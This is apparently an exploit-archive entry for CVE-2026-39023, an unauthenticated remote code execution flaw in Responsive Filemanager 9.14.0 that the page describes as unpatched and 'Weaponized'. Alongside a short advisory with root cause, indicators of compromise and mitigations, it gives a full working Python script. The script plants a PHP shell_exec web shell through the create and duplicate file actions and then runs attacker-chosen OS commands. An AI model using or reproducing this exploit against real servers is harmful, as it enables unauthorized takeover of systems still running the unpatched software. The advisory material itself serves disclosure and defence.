PoC Archive PoC Archive
Critical CVE-2026-39023 unpatched

Responsive Filemanager 9.14.0 — Unauthenticated RCE via Duplicate File (CVE-2026-39023)

by PierreAdams · 2026-07-05

Severity
Critical
CVE
CVE-2026-39023
Category
web
Affected product
Responsive Filemanager
Affected versions
9.14.0 (last released version, unpatched at time of disclosure)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherPierreAdams
CVE / AdvisoryCVE-2026-39023
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagsresponsive-filemanager, php, unauthenticated, rce, duplicate-file, arbitrary-file-write
RelatedN/A

Affected Target

FieldValue
Software / SystemResponsive Filemanager
Versions Affected9.14.0 (last released version, unpatched at time of disclosure)
Language / PlatformPython (exploit) targeting PHP web application
Authentication RequiredNo
Network Access RequiredYes

Summary

Responsive Filemanager 9.14.0 allows an unauthenticated attacker to abuse its “duplicate file” functionality to create a new file with an attacker-chosen name and PHP extension containing arbitrary content. By duplicating an existing file into a .php file with embedded PHP code, the attacker can then request that file directly to achieve remote code execution — with no authentication or user interaction required.


Vulnerability Details

Root Cause

The duplicate-file feature does not validate the destination filename’s extension or the resulting file’s content, permitting creation of executable PHP files inside the web-accessible upload directory (CWE-434-class arbitrary file write to RCE).

Attack Vector

  1. Send an unauthenticated request to Responsive Filemanager to obtain a session cookie.
  2. Use the duplicate-file functionality to create a new .php file containing an attacker-controlled payload.
  3. Request the newly created PHP file directly to execute arbitrary OS commands.

Impact

Full unauthenticated remote code execution on any server hosting Responsive Filemanager 9.14.0.


Environment / Lab Setup

Target:   Responsive Filemanager 9.14.0
Attacker: python3

Proof of Concept

PoC Script

See POC_CVE-2026-39023.py in this folder.

1
python3 POC_CVE-2026-39023.py -c 'id' -u http://127.0.0.1:8080

The script automatically collects a session cookie, uses the duplicate-file mechanism to plant a PHP payload, and executes the specified OS command via the resulting file, printing the command output.


Detection & Indicators of Compromise

POST /filemanager/... (duplicate action) HTTP/1.1
GET /filemanager/<planted>.php HTTP/1.1

Signs of compromise:

  • Newly created .php files in the Responsive Filemanager upload directory not created by legitimate users
  • Command execution artifacts (e.g. id, whoami output) reflected in HTTP responses from planted files

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory; consider migrating away from the unmaintained Responsive Filemanager
Interim mitigationRestrict/require authentication for filemanager access, disallow duplicating files to executable extensions, and disable PHP execution in the upload directory

References


Notes

Mirrored from https://github.com/PierreAdams/CVE-2026-39023 on 2026-07-05.

POC_CVE-2026-39023.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name          : POC_CVE-2026-39023.py
# Author             : Pierre_Adams
# Date created       : 02/04/2026


import requests
import argparse


def parse_args():
    parser = argparse.ArgumentParser(description="RCE Exploit RESPONSIVE filemanager CVE-2026-39023")
    parser.add_argument("-C", "--cookie")
    parser.add_argument("-c", "--command", required=True)
    parser.add_argument("-u", "--url", required=True)
    return parser.parse_args()


def build_payload(command):
    command = command.replace("'", "\\'")
    return f"""<?php
$output = shell_exec('{command}');
echo "$output";
?>"""


def get_cookie(session, cookie, url):
    if cookie:
        print(f"[>] Using cookie: {cookie}")
        return cookie

    print("[>] Collecting cookie...")
    session.get(f"{url}/filemanager/dialog.php")

    phpsessid = session.cookies.get("PHPSESSID")
    if not phpsessid:
        raise Exception("No PHPSESSID found")

    print(f"[>] Cookie collected: {phpsessid}")
    return phpsessid


def create_file(session, url, headers, payload):
    data = {
        "path": "",
        "name": "shell.",
        "new_content": payload
    }

    return session.post(
        f"{url}/filemanager/execute.php?action=create_file",
        headers=headers,
        data=data
    )


def delete_file(session, url, headers):
    data = {"path": "shell.", "name": ""}

    return session.post(
        f"{url}/filemanager/execute.php?action=delete_file",
        headers=headers,
        data=data
    )


def duplicate_file(session, url, headers):
    data = {"path": "shell.", "name": "shell.php"}

    return session.post(
        f"{url}/filemanager/execute.php?action=duplicate_file",
        headers=headers,
        data=data
    )


def main():
    args = parse_args()
    session = requests.Session()

    payload = build_payload(args.command)
    phpsessid = get_cookie(session, args.cookie, args.url)

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": f"PHPSESSID={phpsessid}"
    }

    print("[>] Creating file...")
    r = create_file(session, args.url, headers, payload)
    if "File successfully saved" in r.text:
        print("[>] File successfully saved")
    else:
        print(r.text)
        if "already existing" in r.text:
            print("[>] Deleting File...")
            delete_file(session, args.url, headers)
            print("[>] File successfully deleted")
            r = create_file(session, args.url, headers, payload)
            if "File successfully saved" in r.text:
                print("[>] File successfully saved")

    r = duplicate_file(session, args.url, headers)
    r = session.get(f"{args.url}/source/shell.php")
    print("[>] Response:\n")
    print(r.text)


if __name__ == "__main__":
    main()